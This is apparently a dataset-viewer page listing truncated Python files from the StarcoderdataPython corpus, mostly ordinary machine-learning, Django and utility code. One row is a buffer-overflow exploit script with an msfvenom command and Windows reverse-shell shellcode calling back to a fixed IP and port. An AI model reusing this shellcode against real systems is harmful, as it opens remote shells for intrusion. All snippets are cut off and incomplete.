id stringlengths 1 8 | text stringlengths 6 1.05M | dataset_id stringclasses 1
value |
|---|---|---|
6640953 | <filename>alpharotate/libs/models/detectors/fcos/build_whole_network_batch_rbox.py
# -*-coding: utf-8 -*-
from __future__ import absolute_import, division, print_function
import tensorflow as tf
import tensorflow.contrib.slim as slim
import numpy as np
from alpharotate.libs.models.detectors.single_stage_base_network... | StarcoderdataPython |
4847860 | import os
import bisect
import copy
import logging
import torch.utils.data
from alphabet.alphabet import Alphabet
from torch.utils.data.sampler import RandomSampler, WeightedRandomSampler
'''Recognition Part'''
from data.recognition import LMDB
from data.recognition import CUSTOM
from data.sampler import ... | StarcoderdataPython |
6693024 | import sys
from pynput import keyboard
import threading
buffer = []
__version__ = "0.2.0-alpha"
# TODO:thread para iterar a frase na lista e colorir a palavra com a syntax python
def on_release(key):
print('{0} released'.format(
key))
if key == ".":
_arq = (L for L in buffer)
for L... | StarcoderdataPython |
6665758 | <filename>secrets.py
key = ["auth tokens go here"
] | StarcoderdataPython |
1633033 | <filename>core/deps.py
# 依赖项文件
from fastapi import Depends, HTTPException
from fastapi.security import OAuth2PasswordBearer
from jose import jwt
from pydantic import ValidationError
from sqlalchemy.orm import Session
from core.config import setting
from db.session import SessionLocal
from models.user import User
re... | StarcoderdataPython |
1660851 | <gh_stars>1-10
import binascii
import zmq
import socket
import os
import platform
import signal
def chunk(l, n):
return [l[i:i + n] for i in range(0, len(l), n)]
def parseMessage(message):
lines = message.splitlines()
assert (len(lines) % 2 == 0)
diffs = chunk(lines, 2)
for diff in diffs:
... | StarcoderdataPython |
4803059 | class Solution:
def movingCount(self, threshold, rows, cols):
visited = [False] * (rows * cols)
count = self.movingCountCore(threshold, rows, cols, 0, 0, visited)
return count
def movingCountCore(self, threshold, rows, cols, row, col, visited):
count = 0
if self.check(th... | StarcoderdataPython |
21325 | <filename>tests/test_observable/test_dowhile.py
import unittest
from rx.testing import TestScheduler, ReactiveTest
class TestDoWhile(ReactiveTest, unittest.TestCase):
def test_dowhile_always_false(self):
scheduler = TestScheduler()
xs = scheduler.create_cold_observable(
self.on_next(... | StarcoderdataPython |
289083 | <filename>tools/sleepless/monsterlist.py<gh_stars>10-100
# monsterlist.py
# extract some useful info from the monsterlist.cpp
import os, re
f = open("source/monsterlist.cpp")
lines = f.read().splitlines()
f.close()
monsname = "Null"
graphicsline = False
monsters = []
def graphicsOf(mons):
t = monsters[mons][1]... | StarcoderdataPython |
8131081 | """The implementation of the Tackle move.
The most basic physical attack. It costs nothing and has no special side effects."""
import random
from utils import Printer
NAME = 'Tackle'
PP_COST = 0
SUCCESS_RATE = 90
CRIT_RATE = 15
CAN_DISABLE = False
def perform(user, other):
"""Perform Tackle."""
if random.ra... | StarcoderdataPython |
8047777 | import argparse
import zipfile
import os
import hashlib
import json
from os.path import join, realpath, splitext, relpath, isfile, split
import dropbox
parser = argparse.ArgumentParser(prog='binary asset unpackager',description='Script to download and unpackage binary data for a git repro')
parser.add_argument('-r','-... | StarcoderdataPython |
3422479 | import asyncio
import os
import signal
import uuid
from typing import Any
import tomodachi
from tomodachi.envelope.json_base import JsonBase
from tomodachi.transport.amqp import amqp, amqp_publish
@tomodachi.service
class AMQPService(tomodachi.Service):
name = "test_amqp"
log_level = "INFO"
message_envel... | StarcoderdataPython |
8178717 | <filename>doc/source/conf.py
# -*- coding: utf-8 -*-
#
import sys
import os
sys.path.insert(0, os.path.abspath('../../'))
sys.path.append(os.path.abspath('_themes'))
import flask_limiter
extensions = [
'sphinx.ext.autodoc',
'sphinx.ext.intersphinx',
'sphinx.ext.todo',
'sphinx.ext.viewcode',
]
templa... | StarcoderdataPython |
1614398 | <gh_stars>1-10
# ------------------------------
# 85. Maximal Rectangle
#
# Description:
# Given a 2D binary matrix filled with 0's and 1's, find the largest rectangle containing only 1's and return
# its area.
#
# For example, given the following matrix:
#
# 1 0 1 0 0
# 1 0 1 1 1
# 1 1 1 1 1
# 1 0 0 1 0
# Return 6... | StarcoderdataPython |
9702082 | <filename>hash_things/__init__.py
# -*- coding: utf-8 -*-
"""Top-level package for hash_things."""
__author__ = """<NAME>"""
__email__ = '<EMAIL>'
__version__ = '0.2.0'
from .hash_dict import hash_dict # noqa
| StarcoderdataPython |
1936041 | # vim: set filetype=python ts=4 sw=4
# -*- coding: utf-8 -*-
"""tokendito version."""
__version__ = "1.2.1"
__title__ = "tokendito"
__description__ = "Get AWS STS tokens from Okta SSO"
__long_description_content_type__ = "text/x-rst"
__url__ = "https://github.com/dowjones/tokendito"
__author__ = "tokendito"
__author_em... | StarcoderdataPython |
3293253 | #
# Copyright (C) Mellanox Technologies Ltd. 2021. ALL RIGHTS RESERVED.
#
# See file LICENSE for terms.
import requests
import configparser
import json
import logging
import os
import argparse
import time
import datetime
import sys
from pyfluent.client import FluentSender
PLUGIN_NAME = "UFM_API_Streaming"
CONFIG_FIL... | StarcoderdataPython |
1624578 | <filename>modules/plexpy.py
# plexpy
from functools import partial
import json
import logging
from urllib import urlencode
import requests
import cherrypy
import htpc
from htpc.helpers import get_image, striphttp, fix_basepath
from cherrypy.lib.auth2 import require, member_of
log = logging.getLogger('modules.plexpy'... | StarcoderdataPython |
1938427 | <filename>migrate.py
#!/usr/bin/env python3
import sys
import json
from common import confluence, zendesk, CREATE_AS_DRAFT
def migrate(target_section_id, article_id):
mode = "view"
try:
confl_article = confluence().get_page_by_id(
article_id, expand="metadata.labels,body.{}".format(mode))
... | StarcoderdataPython |
1963291 | <gh_stars>1-10
# Copyright 2016 The Chromium Authors. All rights reserved.
# Use of this source code is governed by a BSD-style license that can be
# found in the LICENSE file.
from gae_libs.pipelines import SynchronousPipeline
from services import culprit_action
from services.parameters import SendNotificationForCulp... | StarcoderdataPython |
6503251 | # Copyright (c) 2019, Nordic Semiconductor
# SPDX-License-Identifier: BSD-3-Clause
# Tip: You can view just the documentation with 'pydoc3 dtlib'
# _init_tokens() builds names dynamically.
#
# pylint: disable=undefined-variable
"""
A library for extracting information from .dts (devicetree) files. See the
documentat... | StarcoderdataPython |
66402 | <gh_stars>0
#!/usr/bin/env python
from __future__ import print_function
import argparse
from math import log10, floor, fabs
import sys
from . import env
from . import ship
from . import util
app_name = "fuel_usage"
log = util.get_logger(app_name)
class Application(object):
def __init__(self, arg, hosted, state... | StarcoderdataPython |
5038587 | from ...models.models import AssignmentCandidate
from ..create_action_with_inferred_meeting import CreateActionWithInferredMeeting
from ..default_schema import DefaultSchema
from ..register import register_action
@register_action("assignment_candidate.create")
class AssignmentCandidateCreate(CreateActionWithInferredM... | StarcoderdataPython |
290007 | <gh_stars>0
from decimal import Decimal
from decimal import getcontext
getcontext().prec = 80 # 78 digits for a maximum of 2^256-1, and 2 more digits for after the decimal point
def calculatePurchaseReturn(supply, balance, weight, amount):
return Decimal(supply)*((1+Decimal(amount)/Decimal(balance))**(Decimal(w... | StarcoderdataPython |
11387415 | # Copyright 2020 The FedLearner Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applica... | StarcoderdataPython |
9780122 | import torch
from allennlp.training.momentum_schedulers.momentum_scheduler import MomentumScheduler
reveal_type(MomentumScheduler) | StarcoderdataPython |
1604109 | <gh_stars>0
#####################################
# ArgumentFeeder.py
#####################################
# Description:
# * Converts arguments pulled from tkinter
# GUI into arguments usable by
# target scripts.
import os
class ArgumentFeeder:
"""
* Converts arguments pulled from tkinter GUI into argument... | StarcoderdataPython |
11306342 | <reponame>snarayanank2/django-workspaces
from django.urls import include, path
from saas_framework.auth.views import RefreshTokenView, JwtDecode
from saas_framework.identity.views import BasicAuthSigninView, BasicAuthSignupView
from saas_framework.oauth2.views import OAuth2Authorize, OAuth2Token
from saas_framework.tpa... | StarcoderdataPython |
9716818 | <reponame>chaitu210/pietrack
from celery import task
from django.core.mail import send_mail
from django.template import loader
from django.contrib.auth.forms import PasswordResetForm
from django.core.mail import EmailMultiAlternatives, send_mail
@task()
def add():
return 2 + 2
@task()
def send_mail_old_user(email... | StarcoderdataPython |
8144594 | <filename>tests/test_location_request_intent_handler_pollen_failure.py
import unittest
import os
import mock
import handler as sut
class fakeLocation():
@property
def latitude(self):
return 55.8642
@property
def longitude(self):
return -4.2518
class TestLocationRequestIntentHandlerPol... | StarcoderdataPython |
11316091 | #tensorflow 2+
from tensorflow.keras.applications.mobilenet_v2 import preprocess_input
from tensorflow.keras.models import load_model
import numpy as np
import cv2
import matplotlib.pyplot as plt
import os
import matplotlib.font_manager as fm
from flask import Flask, render_template
import RPi.GPIO as GPIO
import glob
... | StarcoderdataPython |
6477907 | from typing import List
from ariadne.objects import ObjectType
from models import Role, RolePermission
from models.db import db
RoleObjectType = ObjectType("Role")
@RoleObjectType.field("permissions")
async def resolve_role_permissions(
obj: Role = None, *_
):
async with db.acquire(reuse=False) as conn:
... | StarcoderdataPython |
3355735 | import copy
import unittest
from constants.globals import SLASH_POINTS_NOTIFICATION_THRESHOLD_DEFAULT
from handlers.settings_handlers import set_slash_points_threshold
from jobs.thorchain_node_jobs import build_notification_message_for_active_node
from service.utils import get_slash_points_threshold
from unit_tests.he... | StarcoderdataPython |
9770846 | <gh_stars>1-10
#!/usr/bin/env python
# coding: utf-8
import sys, os
import path_router
if __name__ == "__main__":
source_directory = os.getcwd()
# if no parameter is given: render all pages
if (len(sys.argv[1:]) == 0):
path_router.build_all(source_directory)
print('pages build') ## re... | StarcoderdataPython |
77316 | <reponame>chasembowers/py-petridish
import unittest
from mock import MagicMock
from petridish.cell import BasicCell, Cell
from petridish.energized import Energized
from petridish.point import Point
from petridish.actor import Actor
from petridish.resource import Resource
class TestBasicCell(unittest.TestCase):
... | StarcoderdataPython |
11299783 | <reponame>ahmedkhalf/Shape-Bruteforce
import os
import cv2
from matplotlib import pyplot
from shape_bruteforce import _version
from shape_bruteforce import errors
RESIZE_MAX = 0
RESIZE_MIN = 1
RESIZE_HEIGHT = 2
RESIZE_WIDTH = 3
def get_version():
"""Version info"""
return _version.__version__
def load_im... | StarcoderdataPython |
3566274 | #!/usr/bin/python3
""" script that takes in a URL,
sends a request to the URL and displays
the value of the X-Request-Id variable found
in the header of the response.
-You must use the packages urllib and sys """
from sys import argv
from urllib import request
if __name__ == '__main__':
with reque... | StarcoderdataPython |
181768 | <filename>HW03/test.py
"""
Load the best model parameters.
Test the best model.
"""
import train
import function
import numpy as np
from model import CNN
import time
# Data preprocessing
# Load training data
train_x = train.train_x
train_y = train.train_y
# Load validation data
val_x = train.val_x
val_y = train.val_y... | StarcoderdataPython |
1779874 | <reponame>rraddi/iphas-dr2
#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""Constants used in the IPHAS Data Release modules."""
import os
from astropy.io import fits
DEBUGMODE = False
# What is the data release version name?
VERSION = 'iphas-dr2-rc6'
# Where are the CASU pipeline-produced images and detection tables... | StarcoderdataPython |
5140766 | <reponame>cloudify-incubator/cloudify-plugins-sdk
# Copyright (c) 2017-2020 Cloudify Platform Ltd. All rights reserved
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.ap... | StarcoderdataPython |
5143487 | class ErrorTranslator():
def __init__(self, translator):
self._ = translator
def i18n_error(self, errors):
for key, value in errors.items():
if isinstance(value, dict):
self.i18n_error(value)
else:
str_errors = errors[key]
fo... | StarcoderdataPython |
4853817 | #!/usr/bin/python
# -*- coding: utf-8 -*-
import tweepy
from datetime import datetime, timedelta
import subprocess
import time
from tweet_temp import now_str
### Import the bot's information
### consumer_key, consumer_secret, access_token, access_token_secret
from password_bot import *
### Air Conditioner Command
O... | StarcoderdataPython |
8015455 | from django.shortcuts import render
from django.http import HttpResponse
from listings.models import Listing
from realtors.models import Realtor
from listings.choises import price_choises, bedroom_choises, state_choises
# Create your views here.
def index(request):
listings = Listing.objects.order_by('-list_date... | StarcoderdataPython |
84749 | <filename>run_commands.py
import subprocess, asyncio
from subprocess import PIPE
from asyncio.subprocess import PIPE as aPIPE
import shlex
from typing import NamedTuple, Optional, List
class CommandResults(NamedTuple):
command: Optional[str]
return_code: Optional[int]
stdout: Optional[str]
stderr: Opti... | StarcoderdataPython |
139283 | <filename>spark/spark_cloudera/5.rdd.py
from pyspark.sql import SparkSession
from pyspark.sql import Row
spark = SparkSession.builder.appName("rdd").master("local").getOrCreate()
sc = spark.sparkContext
"""
Resilient Distributed Dataset (RDD)
─ Resilient: If data in memory is lost, it can be recreated
─ Distributed:... | StarcoderdataPython |
1607084 | from django.db import models
from django.core.exceptions import ValidationError
from django.contrib.auth.models import User
from django.core.validators import validate_image_file_extension, FileExtensionValidator
from Briefly import settings
from django.http import JsonResponse
#Collection model
def upload_image_na... | StarcoderdataPython |
9750315 | <reponame>juhanikataja/TEStribute<gh_stars>0
"""
Exposes TEStribute main function rank_services()
"""
import logging
import os
from typing import (Iterable, Mapping, Optional, Union)
from werkzeug.exceptions import Unauthorized
from TEStribute import models
import TEStribute.models.request as rq
import TEStribute.mod... | StarcoderdataPython |
11312268 | # -*- coding: utf-8 -*-
"""
***************************************************************************
featuretest.py
---------------------
Date : November 2013
Copyright : (C) 2013-2016 Boundless, http://boundlessgeo.com
*****************************************************... | StarcoderdataPython |
189318 | <filename>Ex05CFDAndFSI/CFD_HighRiseExampleFine/auxiliary_files/compute_level_force_process.py
#===============================================================================
'''
Project:Lecture - Structural Wind Engineering WS19-20
Chair of Structural Analysis @ TUM - <NAME>, <NAME>
Author: <EMAIL>
Descript... | StarcoderdataPython |
3228097 | <gh_stars>0
#!/usr/bin/env python
import re
from copy import deepcopy
f = open('/Users/kosta/dev/advent-of-code-17/day13/input.txt')
lines = f.readlines()
g_layers = {}
total_layers = 0
for line in lines:
parsed_layer = re.findall('(\d+):\s(\d+)', line)[0]
g_layers[int(parsed_layer[0])] = {'current': 0, 'di... | StarcoderdataPython |
8158447 | #!/usr/bin/python3
from bs4 import BeautifulSoup, Comment, NavigableString
soup = BeautifulSoup(open("html"), 'html.parser')
# Identify the start comment
def begin_comment(text):
return (isinstance(text, Comment) and
text in "<!-- Task Body -->")
# Identify the end location
def end_mark(element):
... | StarcoderdataPython |
11323892 | <reponame>arai-marv/CartPole<gh_stars>1-10
# # Unity ML-Agents Toolkit
from typing import List, Deque
import abc
from collections import deque
from mlagents_envs.logging_util import get_logger
from mlagents_envs.timers import timed
from mlagents.model_serialization import export_policy_model, SerializationSettings
fr... | StarcoderdataPython |
9727913 | v1=float(input("Digite o valor de um dos lados "))
v2=float(input("Digite o valor de outrpo lados "))
v3=float(input("Digite o valor do ultimo lado lados "))
if v1+v2 > v3 and v1+v3 > v2 and v2+v3 > v1:
if v1 == v2 == v3:
print(f'Com esses valores é possivel formar um triangulo equilátero')
elif v1 != v... | StarcoderdataPython |
4814370 | #!/usr/bin/env python3
import socket
import constants
ip = constants.IP
port = constants.PORT
# msfvenom -p windows/shell_reverse_tcp LHOST=10.9.2.220 LPORT=4444 EXITFUNC=thread -b "\x00" -f c
buf = (b"\xda\xd5\xbb\x4e\x6f\x83\xc8\xd9\x74\x24\xf4\x5e\x33\xc9\xb1"
b"\x52\x31\x5e\x17\x03\x5e\x17\x83\x88\x6b\x61\x3d\xe... | StarcoderdataPython |
27015 | <filename>{{cookiecutter.repo_name}}/src/evaluate.py
import nussl
import os
import json
from concurrent.futures import ThreadPoolExecutor, ProcessPoolExecutor
import tqdm
import gin
from .helpers import build_dataset
import logging
@gin.configurable
def evaluate(output_folder, separation_algorithm, eval_class,
... | StarcoderdataPython |
8013219 | from django.test import TestCase
class CommentTestCase(TestCase):
fixtures = [
"user_test.json",
"category_test.json",
"post_test.json",
"comment_test.json",
]
def test_add_comment(self):
self.client.login(username="anna", password="password")
response = se... | StarcoderdataPython |
11315667 | from .lineage_population_model import *
from .embryo_generator_model import *
from .embryo_segmentor import *
__version__ = "0.1.9"
__all__ = ["lineage_populaton_model",
"embryo_generator_model",
"embryo_segmentor"] | StarcoderdataPython |
9657906 | #########################################
# Servo01_start.py
# categories: intro
# more info @: http://myrobotlab.org/service/Intro
#########################################
# uncomment for virtual hardware
# Platform.setVirtual(True)
# Every settings like limits / port number / controller are saved after initial use
... | StarcoderdataPython |
3459937 | # -*- encoding=utf-8 -*-
import time
import socket
import threading
from server.socket_server import TCPServer
from handler.base_handler import StreamRequestHandler
from server.base_http_server import BaseHTTPServer
from handler.base_http_handler import BaseHTTPRequestHandler
class TestBaseRequestHandler(StreamReq... | StarcoderdataPython |
3245105 | # Copyright 2014 ARM Limited
#
# Licensed under the Apache License, Version 2.0
# See LICENSE file for details.
# !!! FIXME: there are now multiple .py files that contain platform dependent
# code and conditions such as 'if os.name == "nt"' Ideally, all these platform
# dependent function would live in an OS abstracti... | StarcoderdataPython |
1898237 | <reponame>Mad-Mange/GreenHouse_Group1
#!/usr/bin/env python3
import sys
import struct
if(len(sys.argv) < 2):
print('Usage: {} <float>'.format(sys.argv[0]))
value = float(sys.argv[1])
data = struct.pack('<f', value)
print(struct.unpack('<I', data)[0])
| StarcoderdataPython |
1919803 | <filename>Python/DataStructures/Stack.py
class Node:
def __init__(self, value, next):
self.value = value
self.next = next
class Stack:
def __init__(self):
self.head = None
self.size = 0
def isEmpty(self):
return self.size <= 0
def peek(self):
if sel... | StarcoderdataPython |
1773499 | <gh_stars>1-10
# -*- coding: utf-8 -*-
# Generated by Django 1.9.9 on 2017-01-16 17:12
from __future__ import unicode_literals
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
dependencies = [
('helpdesk', '0007_ticket_submitting_room'),
... | StarcoderdataPython |
3249841 | # Generated by Django 2.2.6 on 2019-11-10 12:12
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [("peering", "0054_auto_20191031_2241")]
operations = [
migrations.AddField(
model_name="directpeeringsession",
name="encrypted_pass... | StarcoderdataPython |
8003570 | <filename>python_algorithms/shell_sort/shell_sort.py
def sort(arr):
h = 1
n = len(arr)
while h < n//3:
h = 3*h+1
while h >= 1:
i = h
while i < n:
j = i
while j >= h:
if arr[j] < arr[j-h]:
tmp = arr[j]
... | StarcoderdataPython |
5160667 | from django.forms import ModelForm
from wired_app.models import Comment
class CommentForm(ModelForm):
class Meta:
model = Comment
fields = ["text"]
| StarcoderdataPython |
38078 | """ Architecture for SFTMD """
import functools
import torch
import torch.nn as nn
import torch.nn.functional as F
import models.archs.arch_util as arch_util
import torch.nn.utils.spectral_norm as spectral_norm
class SFTLayer(nn.Module):
def __init__(self, nf=64, n_condition=10):
super(SFTLayer, self).__i... | StarcoderdataPython |
6564517 | # This file is part of Indico.
# Copyright (C) 2002 - 2021 CERN
#
# Indico is free software; you can redistribute it and/or
# modify it under the terms of the MIT License; see the
# LICENSE file for more details.
from __future__ import unicode_literals
from flask import redirect, request
from indico.modules.categori... | StarcoderdataPython |
31905 | <gh_stars>1-10
import sys
t = int(input().strip())
for a0 in range(t):
n = int(input().strip())
def preSum(q):
return (q*(1+q) //2 )
result = 3*preSum(int((n-1)//3)) + 5*preSum(int((n-1)//5)) - 15*preSum(int((n-1)//15))
print(int(result))
| StarcoderdataPython |
8015263 | import cPickle
common_dict = cPickle.load( open( "15IT201_15IT217_M1_common_dict_300.save", "rb" ) )
for k in sorted(common_dict.keys()):
print k
print len(common_dict)
print type(common_dict)
| StarcoderdataPython |
6657192 | ################################
# @author: <NAME>
# @email: <EMAIL>
# All rights reserved
#################################
from ryu.base import app_manager
from ryu.ofproto import ofproto_v1_3
from ryu.lib import dpid as dpid_lib
import ryu.app.ofctl.api as api
class SwitchAPI(app_manager.RyuApp):
OFP_VERSIONS ... | StarcoderdataPython |
1805773 | <reponame>HarpyEagleMan/wallpaperfy
from argparse import ArgumentParser
from wallpaperfy_base_functions import get_screen_resolution, get_files, get_output_folder, makewallpaper
# Argument handling
parser = ArgumentParser()
parser.add_argument('-r', '--resolution', help='The resolution of the screen that wallpapers s... | StarcoderdataPython |
11270411 | #!/usr/bin/python
# Copyright (c) 2017, 2018, 2019, Oracle and/or its affiliates.
# This software is made available to you under the terms of the GPL 3.0 license or the Apache 2.0 license.
# GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt)
# Apache License v2.0
# See LICENSE.TX... | StarcoderdataPython |
4967293 | <reponame>avalentino/pyre<filename>tests/journal.ext/chronicler_device.py
#! /usr/bin/env python3
# -*- coding: utf-8 -*-
#
# <NAME> <<EMAIL>>
# (c) 1998-2021 all rights reserved
def test():
"""
Verify that the device base class constructor is unavailable
"""
# access
from journal import libjourna... | StarcoderdataPython |
5020149 | <filename>examples/compat/seaborn_violin.py
import seaborn as sns
from bokeh import mpl
from bokeh.plotting import output_file, show
tips = sns.load_dataset("tips")
sns.set_style("whitegrid")
# ax = sns.violinplot(x="size", y="tip", data=tips.sort("size"))
# ax = sns.violinplot(x="size", y="tip", data=tips,
# ... | StarcoderdataPython |
11262035 | import mushr_rhc
import mushr_rhc.utils
import torch
import pickle
# import scipy.spatial
class NearestNeighbor:
EPSILON = 1e-5
NCTRL = 2
def __init__(self, params, logger, dtype):
self.logger = logger
self.params = params
self.dtype = dtype
self.reset()
def reset(s... | StarcoderdataPython |
4927550 | <gh_stars>1-10
"""
enable Google+ API by visiting
https://console.developers.google.com/apis/api/plus.googleapis.com/overview
requirements:
aiodns
aiohttp
aiohttp_session
aiohttp_session[secure]
cchardet
cryptography
aioauth-client
"""
import aiohttp_session
from aioauth_client import Goo... | StarcoderdataPython |
5041984 | <gh_stars>1-10
import os
import matplotlib
import matplotlib.pyplot as plt
import tensorflow as tf # Version 1.0.0 (some previous versions are used in past commits)
from sklearn import metrics
import random
from random import randint
import argparse
import logging
import time
import operator
import imutils
import cv2... | StarcoderdataPython |
3377467 | n1 = int(input('Digite um número: '))
n2 = int(input('Digite mais um número: '))
soma = n1+n2
# print('A SOMA DE ',n1,'com',n2,'é',soma)
print(' A soma entre {} e {} vale {}'.format(n1, n2, soma))
| StarcoderdataPython |
9694414 | import random
import PIL
from PIL.Image import Image
from PIL.ImageDraw import ImageDraw
from PIL import ImageTk
from tkinter import *
from tkinter import filedialog, messagebox
import os
import pkg_resources.py2_warn
global main_file
global col
global crop_rotate_root
"""-------------------------------... | StarcoderdataPython |
298289 | <gh_stars>0
'''
Autor: <NAME>
Data: 17/03/2021
Numero da questao: Questão 08
Descriçao do problema:
Nome na vertical. Faça um programa que solicite o nome do usuário
e imprima-o na vertical, em formato de escada, conforme exemplo
abaixo (para a entrada "JOSE"):
Descricao da solucao:
* Criei uma classe p... | StarcoderdataPython |
4895317 | <gh_stars>1-10
from typing import Any, Dict, Optional
from pydantic import BaseModel
class PostModel(BaseModel):
pass
class PostImageModel(PostModel):
pass
# https://stackoverflow.com/questions/60127234/how-to-use-a-pydantic-model-with-form-data-in-fastapi
# https://github.com/tiangolo/fastapi/issu... | StarcoderdataPython |
4970853 | """
In addition to test.py, this tests extra features only available on python 3
"""
import argparse
import textwrap
import sys
import logging
from commandline_parsable import parsable_base
logging.basicConfig(level=logging.DEBUG)
log = logging.getLogger(__name__)
@parsable_base(base_instantiable=True, factory_func... | StarcoderdataPython |
131963 | <gh_stars>10-100
# Merge k sorted linked lists and return it as one sorted list.
# The time complexity should be O(nlogn)
# Input: [ 1->4->5, 1->3->4, 2->6 ]
# Output: 1->1->2->3->4->4->5->6
from heapq import heapify, heappop, heapreplace
class ListNode:
def __init__(self, v):
self.v = v
self.next ... | StarcoderdataPython |
5000940 | import duo_client.admin
from .. import util
from .base import TestAdmin
class TestBypassCodes(TestAdmin):
def test_delete_bypass_code_by_id(self):
""" Test to delete a bypass code by id.
"""
response = self.client.delete_bypass_code_by_id('DU012345678901234567')
uri, args = respons... | StarcoderdataPython |
3328918 | import tensorflow as tf
import copy
from tensorflow.contrib.rnn import BasicRNNCell
from icecaps.estimators.rnn_estimator import RNNEstimator
from icecaps.estimators.convolutional_estimator import ConvolutionalEstimator
class NGramCell(BasicRNNCell):
def __init__(self, hparams):
super().__init__(hparam... | StarcoderdataPython |
3501940 | <gh_stars>1-10
# Generated by Django 3.1.12 on 2021-08-19 20:09
from django.db import migrations
import filebrowser.fields
class Migration(migrations.Migration):
dependencies = [
('article', '0003_remove_article_image'),
]
operations = [
migrations.AddField(
model_name='arti... | StarcoderdataPython |
367772 | <gh_stars>10-100
from utils.file_utils import read_text_file
import os
import cv2
val_dir='/media/milton/ssd1/research/competitions/data_wider_pedestrian/val'
for line in read_text_file('scores.txt'):
line_arr=line.split(' ')
image_name=line_arr[0]
image_path=os.path.join(val_dir,image_name)
save_path=... | StarcoderdataPython |
335038 | from random import randint
from turtle import Turtle
from faker import Faker
from functions import setupScreen
screen = setupScreen(720,1280)
tl = Turtle()
tl.speed(0)
tl.hideturtle()
fake = Faker()
Faker.seed(0)
def run():
for _ in range(300):
tl.pencolor(fake.hex_color())
tl.penup()
tl.g... | StarcoderdataPython |
22628 | <filename>python/lapack_like/reflect.py
#
# Copyright (c) 2009-2015, <NAME>
# All rights reserved.
#
# This file is part of Elemental and is under the BSD 2-Clause License,
# which can be found in the LICENSE file in the root directory, or at
# http://opensource.org/licenses/BSD-2-Clause
#
from ..core import *
i... | StarcoderdataPython |
4985121 | <reponame>samuel-burke/true_false_flashcards<gh_stars>0
###########################
# Author: <NAME>
# Date Created: 03/09/2022
###########################
from tkinter import *
import tkmacosx
import pygame
GREEN = {"idle": "#9bdeac", "hover": "#85d699", "active": "#66cc80"}
RED = {"idle": "#e2979c", "hover": "#db808... | StarcoderdataPython |
231049 | <filename>docs/plots/extended/stereographic/mobius_sigmoid_apply.py
from geoopt import Stereographic
from matplotlib import rcParams
import torch
import matplotlib.pyplot as plt
import seaborn as sns
import shutil
if shutil.which("latex") is not None:
rcParams["text.latex.preamble"] = r"\usepackage{amsmath}"
rc... | StarcoderdataPython |
9666032 | <gh_stars>0
from watchmen.space.storage.space_storage import get_space_by_id
from watchmen.topic.storage.topic_schema_storage import get_topic_list_by_ids
def load_topic_list_by_space_id(space_id):
space = get_space_by_id(space_id)
if space.topicIds is None:
return []
else:
return get_topi... | StarcoderdataPython |
12841909 | # Generated by Django 2.0.4 on 2018-04-25 15:08
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('events', '0003_auto_20180424_1611'),
]
operations = [
migrations.AlterModelOptions(
name='event',
options={'ordering... | StarcoderdataPython |
380963 | <filename>creator/projects/migrations/0004_project_deleted_field.py
# Generated by Django 2.1.11 on 2019-08-22 19:30
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('projects', '0003_project_update_workflows'),
]
operations = [
migration... | StarcoderdataPython |
6621858 | import json
from deepdiff import DeepDiff
class JSONUtils:
"""JSONUtils is common resource for simple json helper keywords."""
def json_equals(self, left, right):
"""JSON Equals takes in two strings or json objects, converts them into json if needed and then compares them, returning if they are e... | StarcoderdataPython |
1844617 | <reponame>FernandaMakiHirose/programas-jupyter
# Operadores aritméticos.
v1 = float(input('Digite um valor: '))
v2 = float(input('Digite outro valor: '))
print(f'''A soma é {v1 + v2}
O produto é {v1 * v2}
A potência é {v1 ** v2}
A divisão é {v1 / v2}
E a divisão inteira é {v1 // v2}
''') | StarcoderdataPython |
5193961 | #
# This file is part of stcs-mimpc.
#
# Copyright (c) 2020 <NAME>, <NAME>, <NAME>.
# Developed at HS Karlsruhe and IMTEK, University of Freiburg.
# All rights reserved.
#
# The BSD 3-Clause License
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the fo... | StarcoderdataPython |
1685421 | <filename>policies/Policy.py<gh_stars>1-10
'''
Created on Oct 22, 2018
@author: michael
'''
from abc import ABC, abstractmethod
from domains.Task import Task
from agents.Agent import Agent
class Policy(ABC):
""" Represents an abstract class for an exploration policy used in reinforcement learning.
"""
... | StarcoderdataPython |
1685970 | <reponame>StanfordASL/rover-meta-learning
import torch
import torch.nn as nn
import numpy as np
from tqdm import trange
import torch.optim as optim
from .torch_dynamics import TorchAdaptiveDynamics
from torch.utils.tensorboard import SummaryWriter
import datetime
from copy import deepcopy
def get_encoder(config,inp_d... | StarcoderdataPython |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.